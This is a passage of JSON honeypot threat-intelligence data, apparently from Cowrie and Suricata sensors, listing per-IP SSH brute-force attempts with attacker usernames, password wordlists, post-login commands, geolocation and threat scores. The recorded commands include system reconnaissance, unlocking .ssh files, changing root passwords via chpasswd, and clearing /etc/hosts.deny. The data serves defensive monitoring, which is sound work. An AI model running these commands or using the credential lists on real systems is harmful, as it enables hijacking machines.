      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "github",
        "alex",
        "ansible",
        "debian",
        "dev",
        "nana",
        "reports",
        "runner",
        "staging",
        "toto"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!Q@W#E$R1q2w3e4r",
        "010203",
        "123123",
        "1234",
        "12345678Abc",
        "1qaz!QAZ",
        "Aa666888",
        "Admin001",
        "Admin111",
        "Admin123...",
        "Ma123456",
        "QWEqwe123456",
        "Qwerty123!",
        "User@1234",
        "Zaq123456",
        "aA123321",
        "alex@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n2pTWbpdyuu2c\\n2pTWbpdyuu2c\\n\"|passwd",
        "echo \"root:4qBC6MgXMXiS\"|chpasswd|bash",
        "echo \"root:DGRk1cWgEGXp\"|chpasswd|bash",
        "echo \"root:Sy3Gw8wXkj2f\"|chpasswd|bash",
        "echo -e \"123\\n2pTWbpdyuu2c\\n2pTWbpdyuu2c\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 8796,
      "as_org": "FASTNET DATA INC",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 478,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:54:28.234000+00:00",
        "last_seen_30d": "2026-05-23T04:23:29.870000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 398,
        "Suricata": 80
      }
    },
    "101.36.117.234": {
      "attack_count": 382,
      "first_seen": "2026-05-16T14:25:34.820Z",
      "last_seen": "2026-05-16T14:57:06.910Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*(",
        "1qaz!QAZ",
        "20192019",
        "2039",
        "Yy123456!",
        "atul",
        "blowjob",
        "compaq88",
        "harry",
        "malcolm",
        "master01",
        "nokia",
        "offroad1",
        "password2",
        "roddy",
        "technical",
        "vfr43edcxsw2",
        "warnightkardesim"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:4sfGms7uwmnT\"|chpasswd|bash",
        "echo \"root:I7B87b5LNJ8W\"|chpasswd|bash",
        "echo \"root:nbM1GvYsme5d\"|chpasswd|bash",
        "echo \"root:pHsQhNxDd1ok\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 449,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:25:34.820000+00:00",
        "last_seen_30d": "2026-05-16T14:58:09.564000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 67
      }
    },
    "103.189.208.13": {
      "attack_count": 357,
      "first_seen": "2026-05-03T21:09:09.081Z",
      "last_seen": "2026-05-03T21:41:52.690Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "mcadmin",
        "root",
        "admin",
        "administrator",
        "bitrix",
        "deploy",
        "deployer",
        "djangoadmin",
        "git",
        "gpadmin",
        "guest",
        "guestguest",
        "maint",
        "mysql",
        "odoo11",
        "postgres",
        "test",
        "testing"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "12345678",
        "1234567890",
        "Aa112233",
        "Admin123",
        "Passw0rd",
        "Password1",
        "a",
        "admin",
        "admin1234567890",
        "adminimda",
        "djangoadmin",
        "ftp321",
        "ghbdtn",
        "guest",
        "mcadmin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Passw0rd\\nIydQoQwpW9jt\\nIydQoQwpW9jt\\n\"|passwd",
        "echo \"mcadmin\\nqil0qXlL60y9\\nqil0qXlL60y9\\n\"|passwd",
        "echo \"passwd\\n4WN5xZTvX6Bn\\n4WN5xZTvX6Bn\\n\"|passwd",
        "echo -e \"Passw0rd\\nIydQoQwpW9jt\\nIydQoQwpW9jt\"|passwd|bash",
        "echo -e \"mcadmin\\nqil0qXlL60y9\\nqil0qXlL60y9\"|passwd|bash",
        "echo -e \"passwd\\n4WN5xZTvX6Bn\\n4WN5xZTvX6Bn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149111,
      "as_org": "TEDEV TECHNOLOGICAL DEVELOPMENT COMPANY LIMITED",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 435,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:09:09.081000+00:00",
        "last_seen_30d": "2026-05-03T21:43:01.249000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 78
      }
    },
    "116.99.170.237": {
      "attack_count": 352,
      "first_seen": "2026-05-15T13:08:03.192Z",
      "last_seen": "2026-05-15T13:31:56.716Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user",
        "1234",
        "123456",
        "admian",
        "auto",
        "belkinstyle",
        "bin",
        "brenda",
        "cisco",
        "cpanel",
        "demo",
        "geral",
        "help",
        "helpdesk",
        "install",
        "installer",
        "joro",
        "kim"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "abc123",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "112233",
        "123",
        "12345",
        "123456",
        "72b1bd75ac87852a",
        "72ca06",
        "abcdefg",
        "administrator",
        "alpine",
        "andrew",
        "bin",
        "brenda"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 535,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T13:08:03.192000+00:00",
        "last_seen_30d": "2026-05-15T13:33:01.570000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 352,
        "Suricata": 183
      }
    },
    "201.145.112.12": {
      "attack_count": 303,
      "first_seen": "2026-05-30T05:12:48.260Z",
      "last_seen": "2026-05-31T05:59:04.262Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "ubuntu",
        "admin",
        "admin123",
        "dino",
        "gerrit",
        "opc",
        "smart",
        "user1",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "qq123123",
        "1234",
        "12345",
        "1234Qwer",
        "Aa000000",
        "Linux123!@#",
        "P@$$w0rd2025",
        "QWERTY12345",
        "abcd1234@",
        "admin123",
        "cat123",
        "dino",
        "gerrit",
        "jancok123",
        "qwerty",
        "root.2024",
        "smart",
        "user1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\n7MgtGiWFqf81\\n7MgtGiWFqf81\\n\"|passwd",
        "echo \"root:HrnebADqAXTl\"|chpasswd|bash",
        "echo \"root:JlMTTt8ZZ28k\"|chpasswd|bash",
        "echo -e \"1234\\n7MgtGiWFqf81\\n7MgtGiWFqf81\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuautitl\u00e1n Izcalli",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T05:12:48.260000+00:00",
        "last_seen_30d": "2026-05-31T06:00:08.783000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 303,
        "Suricata": 61
      }
    },
    "130.131.3.72": {
      "attack_count": 282,
      "first_seen": "2026-05-15T17:16:36.381Z",
      "last_seen": "2026-05-15T18:02:03.683Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd-sync",
        "dbus-helper",
        "linux",
        "pakchoi",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "warnight",
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "1",
        "123QWEasd123",
        "123admin",
        "123qwe,.",
        "1923",
        "23dec1987",
        "Ab123456@",
        "Kermit123@",
        "Push@8240",
        "Qwerty@2018",
        "dominator",
        "emma123",
        "hesoyam",
        "hola1234",
        "inspur",
        "lefty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ZlOZOIr2Cs1v\"|chpasswd|bash",
        "echo \"warnight\\nM7WE6JYGpn1l\\nM7WE6JYGpn1l\\n\"|passwd",
        "echo -e \"warnight\\nM7WE6JYGpn1l\\nM7WE6JYGpn1l\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 356,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:16:36.381000+00:00",
        "last_seen_30d": "2026-05-15T18:03:09.955000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 74
      }
    },
    "101.36.109.176": {
      "attack_count": 262,
      "first_seen": "2026-05-04T00:32:39.518Z",
      "last_seen": "2026-05-04T01:05:21.190Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "admin",
        "frappe",
        "hadoop",
        "root",
        "alireza",
        "insserver",
        "ark",
        "bitrix",
        "datauser",
        "myadmin",
        "otrs",
        "postgres",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "admin",
        "12345",
        "123456",
        "123456789",
        "123qweasdzxc",
        "888",
        "@admin1234",
        "ADMIN",
        "QNX",
        "a123456",
        "aA123456.",
        "alireza",
        "datauser",
        "hadoop@123",
        "insserver",
        "newpassword",
        "pa$$w0rd1",
        "password"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:nVfwghiDVObH\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:32:39.518000+00:00",
        "last_seen_30d": "2026-05-04T01:06:29.477000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 74
      }
    },
    "180.243.253.57": {
      "attack_count": 236,
      "first_seen": "2026-05-13T10:13:43.247Z",
      "last_seen": "2026-05-13T10:43:58.321Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11121964",
        "1qaz2wsx#",
        "2029",
        "454545",
        "Qg123456",
        "devuser123",
        "firebird",
        "gorge",
        "isik",
        "level42",
        "mercury1",
        "poney",
        "porquinho",
        "qian",
        "qqq",
        "qwe123!@#",
        "rootrootroot",
        "saitoh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:KaVmrJScp4Qa\"|chpasswd|bash",
        "echo \"root:ZLUfVeO4cNxL\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Tasikmalaya",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:13:43.247000+00:00",
        "last_seen_30d": "2026-05-13T10:45:02.361000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "41.63.62.103": {
      "attack_count": 231,
      "first_seen": "2026-05-25T04:36:26.626Z",
      "last_seen": "2026-05-25T05:55:57.412Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cloud",
        "curl",
        "ftpsecure",
        "jenkins",
        "lfs",
        "tony",
        "ubuntu",
        "work",
        "zhao"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678aA",
        "1Q2w3e4r5t6y",
        "Password",
        "QAZ123wsx456",
        "QWEasd123!",
        "Wangsu@2017",
        "aaAA11!!",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "lfs",
        "qwe123",
        "qwe123...",
        "qwer@123456",
        "welltech12",
        "workwork",
        "zhao"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0gauiB0r6Xf8\"|chpasswd|bash",
        "echo \"root:IU5sRvBNtMO2\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 37532,
      "as_org": "ZAMREN",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 287,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:36:26.626000+00:00",
        "last_seen_30d": "2026-05-25T05:57:07.636000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 231,
        "Suricata": 56
      }
    },
    "213.171.9.168": {
      "attack_count": 217,
      "first_seen": "2026-05-23T10:54:25.279Z",
      "last_seen": "2026-05-23T15:39:53.741Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "frappe",
        "administrador",
        "contact",
        "mitra",
        "nfs",
        "oracle",
        "postgres",
        "test",
        "test1",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123qaz!@#",
        "147258",
        "Asd123..",
        "Huawei12#$",
        "Nb123",
        "Oracle@2024",
        "Passw0rd",
        "Testtest1",
        "abc123",
        "aroot",
        "contact",
        "frappe24",
        "india",
        "mitra",
        "nfs"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"frappe24\\nUK8vEJDTUihk\\nUK8vEJDTUihk\\n\"|passwd",
        "echo \"root:3KUF4BNsjilb\"|chpasswd|bash",
        "echo -e \"frappe24\\nUK8vEJDTUihk\\nUK8vEJDTUihk\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 9123,
      "as_org": "Jsc timeweb",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 266,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:54:25.279000+00:00",
        "last_seen_30d": "2026-05-23T15:40:55.795000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 49
      }
    },
    "58.224.62.29": {
      "attack_count": 212,
      "first_seen": "2026-05-24T09:50:14.131Z",
      "last_seen": "2026-05-24T10:50:44.365Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "azureuser",
        "User",
        "ali",
        "omega",
        "spectrum",
        "surya",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123!@#qweQWE",
        "123456abc.",
        "1234Qwer!",
        "123qwe!@#",
        "1q2w3e4r",
        "P@ssword.",
        "User",
        "ahead",
        "ali12345",
        "azureuser@2024",
        "baidu@123",
        "omega",
        "spectrum",
        "surya",
        "zhang123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"azureuser@2024\\nP6lWgJ8krkJV\\nP6lWgJ8krkJV\\n\"|passwd",
        "echo \"root:g2WkZBm7azD1\"|chpasswd|bash",
        "echo -e \"azureuser@2024\\nP6lWgJ8krkJV\\nP6lWgJ8krkJV\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T09:50:14.131000+00:00",
        "last_seen_30d": "2026-05-24T10:51:47.500000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
